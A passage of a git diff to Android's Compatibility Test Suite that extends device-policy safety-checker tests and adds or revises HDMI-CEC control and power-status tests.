diff --git a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/DevicePolicySafetyCheckerIntegrationTester.java b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/DevicePolicySafetyCheckerIntegrationTester.java
index d9049c8..d8073c9 100644
--- a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/DevicePolicySafetyCheckerIntegrationTester.java
+++ b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/DevicePolicySafetyCheckerIntegrationTester.java
@@ -17,6 +17,13 @@
import static android.app.admin.DevicePolicyManager.OPERATION_LOCK_NOW;
import static android.app.admin.DevicePolicyManager.OPERATION_LOGOUT_USER;
+import static android.app.admin.DevicePolicyManager.OPERATION_REMOVE_ACTIVE_ADMIN;
+import static android.app.admin.DevicePolicyManager.OPERATION_REMOVE_KEY_PAIR;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_ALWAYS_ON_VPN_PACKAGE;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_MASTER_VOLUME_MUTED;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_PERMISSION_GRANT_STATE;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_PERMISSION_POLICY;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_RESTRICTIONS_PROVIDER;
import static android.app.admin.DevicePolicyManager.OPERATION_SET_USER_RESTRICTION;
import static android.app.admin.DevicePolicyManager.operationToString;
@@ -33,6 +40,7 @@
import java.util.ArrayList;
import java.util.List;
import java.util.Objects;
+import java.util.Set;
/**
* Helper class to test that DPM calls fail when determined by the
@@ -47,11 +55,18 @@
private static final int[] OPERATIONS = new int[] {
OPERATION_LOCK_NOW,
OPERATION_LOGOUT_USER,
- OPERATION_SET_USER_RESTRICTION
+ OPERATION_REMOVE_ACTIVE_ADMIN,
+ OPERATION_REMOVE_KEY_PAIR,
+ OPERATION_SET_MASTER_VOLUME_MUTED,
+ OPERATION_SET_USER_RESTRICTION,
+ OPERATION_SET_PERMISSION_GRANT_STATE,
+ OPERATION_SET_PERMISSION_POLICY,
+ OPERATION_SET_RESTRICTIONS_PROVIDER
};
private static final int[] OVERLOADED_OPERATIONS = new int[] {
- OPERATION_LOCK_NOW
+ OPERATION_LOCK_NOW,
+ OPERATION_SET_ALWAYS_ON_VPN_PACKAGE
};
/**
@@ -149,7 +164,7 @@
}
private void runCommonOrSpecificOperation(DevicePolicyManager dpm, ComponentName admin,
- int operation, boolean overloaded) {
+ int operation, boolean overloaded) throws Exception {
String name = getOperationName(operation, overloaded);
Log.v(TAG, "runOperation(): " + name);
switch (operation) {
@@ -163,9 +178,36 @@
case OPERATION_LOGOUT_USER:
dpm.logoutUser(admin);
break;
+ case OPERATION_SET_ALWAYS_ON_VPN_PACKAGE:
+ if (overloaded) {
+ dpm.setAlwaysOnVpnPackage(admin, "vpnPackage", /* lockdownEnabled= */ true);
+ } else {
+ dpm.setAlwaysOnVpnPackage(admin, "vpnPackage", /* lockdownEnabled= */ true,
+ /* lockdownAllowlist= */ Set.of("vpnPackage"));
+ }
+ break;
+ case OPERATION_SET_MASTER_VOLUME_MUTED:
+ dpm.setMasterVolumeMuted(admin, /* on= */ true);
+ break;
+ case OPERATION_SET_PERMISSION_GRANT_STATE:
+ dpm.setPermissionGrantState(admin, "package", "permission", /* grantState= */ 0);
+ break;
+ case OPERATION_SET_PERMISSION_POLICY:
+ dpm.setPermissionPolicy(admin, /* policy= */ 0);
+ break;
+ case OPERATION_SET_RESTRICTIONS_PROVIDER:
+ dpm.setRestrictionsProvider(admin,
+ /* provider= */ new ComponentName("package", "component"));
+ break;
case OPERATION_SET_USER_RESTRICTION:
dpm.addUserRestriction(admin, UserManager.DISALLOW_REMOVE_USER);
break;
+ case OPERATION_REMOVE_ACTIVE_ADMIN:
+ dpm.removeActiveAdmin(admin);
+ break;
+ case OPERATION_REMOVE_KEY_PAIR:
+ dpm.removeKeyPair(admin, "keyAlias");
+ break;
default:
runOperation(dpm, admin, operation, overloaded);
}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
index 2360174..0ea3a4f 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
@@ -148,6 +148,7 @@
/** Whether DPM is supported. */
protected boolean mHasFeature;
+ protected int mDeviceOwnerUserId;
protected int mPrimaryUserId;
/** Record the initial user ID. */
@@ -208,11 +209,12 @@
}
if (!isHeadlessSystemUserMode()) {
- mPrimaryUserId = getPrimaryUser();
+ mDeviceOwnerUserId = mPrimaryUserId = getPrimaryUser();
} else {
// For headless system user, all tests will be executed on current user
// and therefore, initial user is set as primary user for test purpose.
mPrimaryUserId = mInitialUserId;
+ mDeviceOwnerUserId = USER_SYSTEM;
}
mFixedUsers.add(mPrimaryUserId);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index 219b3b7..02e2455 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -1614,10 +1614,12 @@
}, new DevicePolicyEventWrapper.Builder(EventId.INSTALL_KEY_PAIR_VALUE)
.setAdminPackageName(DEVICE_ADMIN_PKG)
.setBoolean(false)
+ .setStrings("notCredentialManagementApp")
.build(),
new DevicePolicyEventWrapper.Builder(EventId.REMOVE_KEY_PAIR_VALUE)
.setAdminPackageName(DEVICE_ADMIN_PKG)
.setBoolean(false)
+ .setStrings("notCredentialManagementApp")
.build());
}
@@ -1634,13 +1636,13 @@
.setAdminPackageName(DEVICE_ADMIN_PKG)
.setBoolean(false)
.setInt(0)
- .setStrings("RSA")
+ .setStrings("RSA", "notCredentialManagementApp")
.build(),
new DevicePolicyEventWrapper.Builder(EventId.GENERATE_KEY_PAIR_VALUE)
.setAdminPackageName(DEVICE_ADMIN_PKG)
.setBoolean(false)
.setInt(0)
- .setStrings("EC")
+ .setStrings("EC", "notCredentialManagementApp")
.build());
}
@@ -1656,6 +1658,7 @@
}, new DevicePolicyEventWrapper.Builder(EventId.SET_KEY_PAIR_CERTIFICATE_VALUE)
.setAdminPackageName(DEVICE_ADMIN_PKG)
.setBoolean(false)
+ .setStrings("notCredentialManagementApp")
.build());
}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index fcf2ce9..b600f25 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -103,16 +103,20 @@
private static final String GLOBAL_SETTING_USB_MASS_STORAGE_ENABLED =
"usb_mass_storage_enabled";
+ private boolean mDeviceOwnerSet;
+
@Override
public void setUp() throws Exception {
super.setUp();
if (mHasFeature) {
- installAppAsUser(DEVICE_OWNER_APK, mPrimaryUserId);
- if (!setDeviceOwner(DEVICE_OWNER_COMPONENT, mPrimaryUserId,
- /*expectFailure*/ false)) {
- removeAdmin(DEVICE_OWNER_COMPONENT, mPrimaryUserId);
+ installAppAsUser(DEVICE_OWNER_APK, mDeviceOwnerUserId);
+ mDeviceOwnerSet = setDeviceOwner(DEVICE_OWNER_COMPONENT, mDeviceOwnerUserId,
+ /*expectFailure*/ false);
+
+ if (!mDeviceOwnerSet) {
+ removeAdmin(DEVICE_OWNER_COMPONENT, mDeviceOwnerUserId);
getDevice().uninstallPackage(DEVICE_OWNER_PKG);
- fail("Failed to set device owner");
+ fail("Failed to set device owner for user " + mDeviceOwnerUserId);
}
// Enable the notification listener
@@ -125,8 +129,10 @@
@Override
public void tearDown() throws Exception {
if (mHasFeature) {
- assertTrue("Failed to remove device owner.",
- removeAdmin(DEVICE_OWNER_COMPONENT, mPrimaryUserId));
+ if (mDeviceOwnerSet) {
+ assertTrue("Failed to remove device owner for user " + mDeviceOwnerUserId,
+ removeAdmin(DEVICE_OWNER_COMPONENT, mDeviceOwnerUserId));
+ }
getDevice().uninstallPackage(DEVICE_OWNER_PKG);
switchUser(USER_SYSTEM);
removeTestUsers();
@@ -993,7 +999,7 @@
// The simple app package seems to be set into stopped state on reboot.
// Launch the activity again to get it out of stopped state.
startActivityAsUser(mPrimaryUserId, SIMPLE_APP_PKG, SIMPLE_APP_ACTIVITY);
- forceStopPackageForUser(SIMPLE_APP_PKG, mPrimaryUserId);
+ forceStopPackageForUser(SIMPLE_APP_PKG, mDeviceOwnerUserId);
executeDeviceTestMethod(".UserControlDisabledPackagesTest",
"testForceStopWithUserControlDisabled");
executeDeviceTestMethod(".UserControlDisabledPackagesTest",
diff --git a/hostsidetests/hdmicec/app/Android.bp b/hostsidetests/hdmicec/app/Android.bp
index 2ac24a3..d7e7045 100644
--- a/hostsidetests/hdmicec/app/Android.bp
+++ b/hostsidetests/hdmicec/app/Android.bp
@@ -19,9 +19,12 @@
certificate: "platform",
srcs: ["src/**/*.java"],
static_libs: [
- "services.core",
- "guava",
"androidx.test.runner",
+ "androidx.test.rules",
+ "compatibility-device-util-axt",
+ "guava",
+ "services.core",
+ "truth-prebuilt",
],
min_sdk_version: "28",
}
diff --git a/hostsidetests/hdmicec/app/AndroidManifest.xml b/hostsidetests/hdmicec/app/AndroidManifest.xml
index 90403e5..c441f85 100644
--- a/hostsidetests/hdmicec/app/AndroidManifest.xml
+++ b/hostsidetests/hdmicec/app/AndroidManifest.xml
@@ -44,8 +44,14 @@
<action android:name="android.hdmicec.app.OTP" />
</intent-filter>
</activity>
+
+ <uses-library android:name="android.test.runner" />
</application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.hdmicec.app" />
+
<uses-sdk android:minSdkVersion="28" android:targetSdkVersion="28" />
</manifest>
diff --git a/hostsidetests/hdmicec/app/src/android/hdmicec/app/HdmiControlManagerTest.java b/hostsidetests/hdmicec/app/src/android/hdmicec/app/HdmiControlManagerTest.java
new file mode 100644
index 0000000..b335c5d
--- /dev/null
+++ b/hostsidetests/hdmicec/app/src/android/hdmicec/app/HdmiControlManagerTest.java
@@ -0,0 +1,285 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.app;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static junit.framework.Assert.fail;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.Manifest;
+import android.hardware.hdmi.HdmiControlManager;
+import android.hardware.hdmi.HdmiDeviceInfo;
+import android.hardware.hdmi.HdmiPlaybackClient;
+import android.hardware.hdmi.HdmiSwitchClient;
+import android.hardware.hdmi.HdmiTvClient;
+import android.os.SystemProperties;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+
+/**
+ * Class to test basic functionality and API of HdmiControlManager
+ */
+@RunWith(AndroidJUnit4.class)
+public class HdmiControlManagerTest {
+
+ private static final int DEVICE_TYPE_SWITCH = 6;
+
+ private static final int TIMEOUT_CONTENT_CHANGE_SEC = 3;
+
+ private HdmiControlManager mHdmiControlManager;
+
+ @Before
+ public void setUp() throws Exception {
+ getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
+ Manifest.permission.HDMI_CEC);
+
+ mHdmiControlManager = getInstrumentation().getTargetContext().getSystemService(
+ HdmiControlManager.class);
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+ }
+
+
+ @Test
+ public void testHdmiControlManager() {
+ if (mHdmiControlManager == null) {
+ throw new AssertionError("Unable to get HdmiControlManager");
+ }
+ }
+
+ @Test
+ public void testGetHdmiClient() throws Exception {
+ String deviceTypesValue = SystemProperties.get("ro.hdmi.cec_device_types");
+ if (deviceTypesValue.isEmpty()) {
+ deviceTypesValue = SystemProperties.get("ro.hdmi.device_type");
+ }
+
+ List<String> deviceTypes = Arrays.asList(deviceTypesValue.split(","));
+
+ if (deviceTypes.contains("0")) {
+ assertThat(mHdmiControlManager.getTvClient()).isInstanceOf(HdmiTvClient.class);
+ assertThat(mHdmiControlManager.getClient(HdmiDeviceInfo.DEVICE_TV)).isInstanceOf(
+ HdmiTvClient.class);
+ }
+ if (deviceTypes.contains("4")) {
+ assertThat(mHdmiControlManager.getPlaybackClient()).isInstanceOf(
+ HdmiPlaybackClient.class);
+ assertThat(mHdmiControlManager.getClient(HdmiDeviceInfo.DEVICE_PLAYBACK)).isInstanceOf(
+ HdmiPlaybackClient.class);
+ }
+ if (deviceTypes.contains("5")) {
+ assertThat(
+ mHdmiControlManager.getClient(HdmiDeviceInfo.DEVICE_AUDIO_SYSTEM)).isNotNull();
+ }
+
+ boolean isSwitchDevice = SystemProperties.getBoolean("ro.hdmi.cec.source.is_switch.enabled",
+ false);
+ if (deviceTypes.contains("6") || isSwitchDevice) {
+ assertThat(mHdmiControlManager.getSwitchClient()).isInstanceOf(HdmiSwitchClient.class);
+ assertThat(mHdmiControlManager.getClient(6)).isInstanceOf(HdmiSwitchClient.class);
+ }
+ }
+
+ @Test
+ public void testHdmiClientType() throws Exception {
+ String deviceTypesValue = SystemProperties.get("ro.hdmi.cec_device_types");
+ if (deviceTypesValue.isEmpty()) {
+ deviceTypesValue = SystemProperties.get("ro.hdmi.device_type");
+ }
+
+ List<String> deviceTypes = Arrays.asList(deviceTypesValue.split(","));
+
+ if (deviceTypes.contains("0")) {
+ assertThat(mHdmiControlManager.getTvClient().getDeviceType()).isEqualTo(
+ HdmiDeviceInfo.DEVICE_TV);
+ }
+ if (deviceTypes.contains("4")) {
+ assertThat(mHdmiControlManager.getPlaybackClient().getDeviceType()).isEqualTo(
+ HdmiDeviceInfo.DEVICE_PLAYBACK);
+ }
+
+ boolean isSwitchDevice = SystemProperties.getBoolean("ro.hdmi.cec.source.is_switch.enabled",
+ false);
+
+ if (deviceTypes.contains(String.valueOf(DEVICE_TYPE_SWITCH)) || isSwitchDevice) {
+ assertThat(mHdmiControlManager.getSwitchClient().getDeviceType()).isEqualTo(
+ DEVICE_TYPE_SWITCH);
+ }
+ }
+
+ @Test
+ public void testHdmiCecConfig_HdmiCecEnabled() throws Exception {
+ // Save original value
+ int originalValue = mHdmiControlManager.getHdmiCecEnabled();
+ if (!mHdmiControlManager.getUserCecSettings().contains(
+ HdmiControlManager.CEC_SETTING_NAME_HDMI_CEC_ENABLED)) {
+ return;
+ }
+ try {
+ for (int value : mHdmiControlManager.getAllowedCecSettingIntValues(
+ HdmiControlManager.CEC_SETTING_NAME_HDMI_CEC_ENABLED)) {
+ mHdmiControlManager.setHdmiCecEnabled(value);
+ assertThat(mHdmiControlManager.getHdmiCecEnabled()).isEqualTo(value);
+ }
+ } finally {
+ // Restore original value
+ mHdmiControlManager.setHdmiCecEnabled(originalValue);
+ assertThat(mHdmiControlManager.getHdmiCecEnabled()).isEqualTo(originalValue);
+ }
+ }
+
+ @Test
+ public void testHdmiCecConfig_HdmiCecEnabled_Listener() throws Exception {
+ // Save original value
+ int originalValue = mHdmiControlManager.getHdmiCecEnabled();
+ assumeTrue("Skipping because option not user-modifiable",
+ mHdmiControlManager.getUserCecSettings().contains(
+ HdmiControlManager.CEC_SETTING_NAME_HDMI_CEC_ENABLED));
+ CountDownLatch notifyLatch1 = new CountDownLatch(1);
+ CountDownLatch notifyLatch2 = new CountDownLatch(2);
+ HdmiControlManager.CecSettingChangeListener listener =
+ new HdmiControlManager.CecSettingChangeListener() {
+ @Override
+ public void onChange(String setting) {
+ notifyLatch1.countDown();
+ notifyLatch2.countDown();
+ assertThat(setting).isEqualTo(
+ HdmiControlManager.CEC_SETTING_NAME_HDMI_CEC_ENABLED);
+ }
+ };
+ try {
+ mHdmiControlManager.setHdmiCecEnabled(HdmiControlManager.HDMI_CEC_CONTROL_DISABLED);
+ mHdmiControlManager.addHdmiCecEnabledChangeListener(listener);
+ mHdmiControlManager.setHdmiCecEnabled(HdmiControlManager.HDMI_CEC_CONTROL_ENABLED);
+ if (!notifyLatch1.await(TIMEOUT_CONTENT_CHANGE_SEC, TimeUnit.SECONDS)) {
+ fail("Timed out waiting for the notify callback");
+ }
+ mHdmiControlManager.removeHdmiCecEnabledChangeListener(listener);
+ mHdmiControlManager.setHdmiCecEnabled(HdmiControlManager.HDMI_CEC_CONTROL_DISABLED);
+ notifyLatch2.await(TIMEOUT_CONTENT_CHANGE_SEC, TimeUnit.SECONDS);
+ assertThat(notifyLatch2.getCount()).isEqualTo(1);
+ } finally {
+ // Restore original value
+ mHdmiControlManager.setHdmiCecEnabled(originalValue);
+ assertThat(mHdmiControlManager.getHdmiCecEnabled()).isEqualTo(originalValue);
+ }
+ }
+
+ @Test
+ public void testHdmiCecConfig_HdmiCecVersion() throws Exception {
+ // Save original value
+ int originalValue = mHdmiControlManager.getHdmiCecVersion();
+ if (!mHdmiControlManager.getUserCecSettings().contains(
+ HdmiControlManager.CEC_SETTING_NAME_HDMI_CEC_VERSION)) {
+ return;
+ }
+ try {
+ for (int value : mHdmiControlManager.getAllowedCecSettingIntValues(
+ HdmiControlManager.CEC_SETTING_NAME_HDMI_CEC_VERSION)) {
+ mHdmiControlManager.setHdmiCecVersion(value);
+ assertThat(mHdmiControlManager.getHdmiCecVersion()).isEqualTo(value);
+ }
+ } finally {
+ // Restore original value
+ mHdmiControlManager.setHdmiCecVersion(originalValue);
+ assertThat(mHdmiControlManager.getHdmiCecVersion()).isEqualTo(originalValue);
+ }
+ }
+
+ @Test
+ public void testHdmiCecConfig_PowerControlMode() throws Exception {
+ // Save original value
+ String originalValue = mHdmiControlManager.getPowerControlMode();
+ if (!mHdmiControlManager.getUserCecSettings().contains(
+ HdmiControlManager.CEC_SETTING_NAME_POWER_CONTROL_MODE)) {
+ return;
+ }
+ try {
+ for (String value : mHdmiControlManager.getAllowedCecSettingStringValues(
+ HdmiControlManager.CEC_SETTING_NAME_POWER_CONTROL_MODE)) {
+ mHdmiControlManager.setPowerControlMode(value);
+ assertThat(mHdmiControlManager.getPowerControlMode()).isEqualTo(value);
+ }
+ } finally {
+ // Restore original value
+ mHdmiControlManager.setPowerControlMode(originalValue);
+ assertThat(mHdmiControlManager.getPowerControlMode()).isEqualTo(originalValue);
+ }
+ }
+
+ @Test
+ public void testHdmiCecConfig_PowerStateChangeOnActiveSourceLost() throws Exception {
+ // Save original value
+ String originalValue = mHdmiControlManager.getPowerStateChangeOnActiveSourceLost();
+ if (!mHdmiControlManager.getUserCecSettings().contains(
+ HdmiControlManager.CEC_SETTING_NAME_POWER_STATE_CHANGE_ON_ACTIVE_SOURCE_LOST)) {
+ return;
+ }
+ try {
+ for (String value : mHdmiControlManager.getAllowedCecSettingStringValues(
+ HdmiControlManager.CEC_SETTING_NAME_POWER_STATE_CHANGE_ON_ACTIVE_SOURCE_LOST)) {
+ mHdmiControlManager.setPowerStateChangeOnActiveSourceLost(value);
+ assertThat(mHdmiControlManager.getPowerStateChangeOnActiveSourceLost()).isEqualTo(
+ value);
+ }
+ } finally {
+ // Restore original value
+ mHdmiControlManager.setPowerStateChangeOnActiveSourceLost(originalValue);
+ assertThat(mHdmiControlManager.getPowerStateChangeOnActiveSourceLost()).isEqualTo(
+ originalValue);
+ }
+ }
+
+ @Test
+ public void testHdmiCecConfig_SystemAudioModeMuting() throws Exception {
+ // Save original value
+ int originalValue = mHdmiControlManager.getSystemAudioModeMuting();
+ if (!mHdmiControlManager.getUserCecSettings().contains(
+ HdmiControlManager.CEC_SETTING_NAME_SYSTEM_AUDIO_MODE_MUTING)) {
+ return;
+ }
+ try {
+ for (int value : mHdmiControlManager.getAllowedCecSettingIntValues(
+ HdmiControlManager.CEC_SETTING_NAME_SYSTEM_AUDIO_MODE_MUTING)) {
+ mHdmiControlManager.setSystemAudioModeMuting(value);
+ assertThat(mHdmiControlManager.getSystemAudioModeMuting()).isEqualTo(value);
+ }
+ } finally {
+ // Restore original value
+ mHdmiControlManager.setSystemAudioModeMuting(originalValue);
+ assertThat(mHdmiControlManager.getSystemAudioModeMuting()).isEqualTo(originalValue);
+ }
+ }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecClientWrapper.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecClientWrapper.java
index f47334a..b926001 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecClientWrapper.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecClientWrapper.java
@@ -93,7 +93,7 @@
ITestDevice device, List<String> clientCommands, List<String> comPorts)
throws Exception {
String serialNo = device.getProperty("ro.serialno");
- String serialNoParam = CecMessage.formatParams(serialNo);
+ String serialNoParam = CecMessage.convertStringToHexParams(serialNo);
/* formatParams prefixes with a ':' that we do not want in the vendorcommand
* command line utility.
*/
@@ -118,7 +118,7 @@
try {
device.executeShellCommand(sendVendorCommand.toString());
String message = checkExpectedOutput(toDevice, CecOperand.VENDOR_COMMAND);
- if (CecMessage.getParamsAsString(message).equalsIgnoreCase(serialNo)) {
+ if (CecMessage.getAsciiString(message).equalsIgnoreCase(serialNo)) {
/* If no Exception was thrown, then we have received the message we were
* looking for.
*/
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiControlManagerHostTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiControlManagerHostTest.java
new file mode 100644
index 0000000..74d4b63
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiControlManagerHostTest.java
@@ -0,0 +1,85 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts;
+
+import static org.junit.Assume.assumeTrue;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.ddmlib.Log;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.tradefed.testtype.junit4.DeviceTestRunOptions;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class HdmiControlManagerHostTest extends BaseHostJUnit4Test {
+
+ private static final String APK = "HdmiCecHelperApp.apk";
+ private static final String PACKAGE = "android.hdmicec.app";
+ private static final String FEATURE_HDMI_CEC = "android.hardware.hdmi.cec";
+
+ private boolean mHasFeature;
+
+ @Before
+ public void setUp() throws Exception {
+ mHasFeature = ApiLevelUtil.isAtLeast(getDevice(), 28) && hasDeviceFeature(FEATURE_HDMI_CEC);
+ assumeTrue("Skipping HdmiControlService tests for this device", mHasFeature);
+
+ installPackage(APK);
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ if (mHasFeature) {
+ uninstallPackage(APK);
+ }
+ }
+
+ private void runTest(String className) throws Exception {
+ runTest(className, null);
+ }
+
+ private void runTest(String className, String methodName) throws Exception {
+ String fullClassName = String.format("%s.%s", PACKAGE, className);
+
+ DeviceTestRunOptions deviceTestRunOptions = new DeviceTestRunOptions(PACKAGE)
+ .setTestClassName(fullClassName)
+ .setCheckResults(false);
+
+ if (methodName != null) {
+ deviceTestRunOptions.setTestMethodName(methodName);
+ }
+
+ Assert.assertTrue(
+ fullClassName + ((methodName != null) ? ("." + methodName) : "") + " failed.",
+ runDeviceTests(deviceTestRunOptions));
+ }
+
+ /** test HdmiControlManager */
+ @Test
+ public void testHdmiControlManager() throws Exception {
+ CLog.logAndDisplay(Log.LogLevel.INFO,
+ "HdmiControlManagerHostTest: running HdmiControlManagerTest");
+ runTest("HdmiControlManagerTest");
+ }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPowerStatusTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPowerStatusTest.java
index efcf3d1..68bbf51 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPowerStatusTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPowerStatusTest.java
@@ -69,12 +69,21 @@
// Move device to standby
device.executeShellCommand("input keyevent KEYCODE_SLEEP");
+ TimeUnit.SECONDS.sleep(WAIT_TIME);
// Turn device on
device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+ TimeUnit.SECONDS.sleep(WAIT_TIME);
String reportPowerStatus = hdmiCecClient.checkExpectedOutput(LogicalAddress.BROADCAST,
CecOperand.REPORT_POWER_STATUS);
+
+ if (CecMessage.getParams(reportPowerStatus) == HdmiCecConstants.CEC_POWER_STATUS_STANDBY) {
+ // Received the "turning off" broadcast, check for the next broadcast message
+ reportPowerStatus = hdmiCecClient.checkExpectedOutput(LogicalAddress.BROADCAST,
+ CecOperand.REPORT_POWER_STATUS);
+ }
+
assertThat(CecMessage.getParams(reportPowerStatus)).isEqualTo(
HdmiCecConstants.CEC_POWER_STATUS_ON);
}
@@ -92,12 +101,21 @@
// Turn device on
device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+ TimeUnit.SECONDS.sleep(WAIT_TIME);
// Move device to standby
device.executeShellCommand("input keyevent KEYCODE_SLEEP");
+ TimeUnit.SECONDS.sleep(WAIT_TIME);
String reportPowerStatus = hdmiCecClient.checkExpectedOutput(LogicalAddress.BROADCAST,
CecOperand.REPORT_POWER_STATUS);
+
+ if (CecMessage.getParams(reportPowerStatus) == HdmiCecConstants.CEC_POWER_STATUS_ON) {
+ // Received the "wake up" broadcast, check for the next broadcast message
+ reportPowerStatus = hdmiCecClient.checkExpectedOutput(LogicalAddress.BROADCAST,
+ CecOperand.REPORT_POWER_STATUS);
+ }
+
assertThat(CecMessage.getParams(reportPowerStatus)).isEqualTo(
HdmiCecConstants.CEC_POWER_STATUS_STANDBY);
}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java
index 934a1d3..f355af0 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java
@@ -34,6 +34,9 @@
import org.junit.rules.RuleChain;
import org.junit.runner.RunWith;
+import java.util.Arrays;
+import java.util.List;
+
/** HDMI CEC system information tests (Section 11.2.6) */
@RunWith(DeviceJUnit4ClassRunner.class)
public final class HdmiCecSystemInformationTest extends BaseHdmiCecCtsTest {
@@ -46,18 +49,33 @@
.around(hdmiCecClient);
/**
- * Test 11.2.6-2
- * Tests that the device sends a {@code <Report Physical Address>} in response to a
- * {@code <Give Physical Address>}
+ * Tests 11.2.6-2, 10.1.1.1-1
+ *
+ * <p>Tests that the device sends a {@code <Report Physical Address>} in response to a {@code
+ * <Give Physical Address>}
*/
@Test
public void cect_11_2_6_2_GivePhysicalAddress() throws Exception {
- hdmiCecClient.sendCecMessage(CecOperand.GIVE_PHYSICAL_ADDRESS);
- String message = hdmiCecClient.checkExpectedOutput(CecOperand.REPORT_PHYSICAL_ADDRESS);
- /* Check that the physical address taken is valid. */
- CecMessage.assertPhysicalAddressValid(message, getDumpsysPhysicalAddress());
- int receivedParams = CecMessage.getParams(message);
- assertThat(receivedParams & 0xFF).isEqualTo(mDutLogicalAddress.getDeviceType());
+ List<LogicalAddress> testDevices =
+ Arrays.asList(
+ LogicalAddress.TV,
+ LogicalAddress.RECORDER_1,
+ LogicalAddress.TUNER_1,
+ LogicalAddress.PLAYBACK_1,
+ LogicalAddress.AUDIO_SYSTEM,
+ LogicalAddress.BROADCAST);
+ for (LogicalAddress testDevice : testDevices) {
+ if (testDevice == mDutLogicalAddress) {
+ /* Skip the DUT logical address */
+ continue;
+ }
+ hdmiCecClient.sendCecMessage(testDevice, CecOperand.GIVE_PHYSICAL_ADDRESS);
+ String message = hdmiCecClient.checkExpectedOutput(CecOperand.REPORT_PHYSICAL_ADDRESS);
+ /* Check that the physical address taken is valid. */
+ CecMessage.assertPhysicalAddressValid(message, getDumpsysPhysicalAddress());
+ int receivedParams = CecMessage.getParams(message);
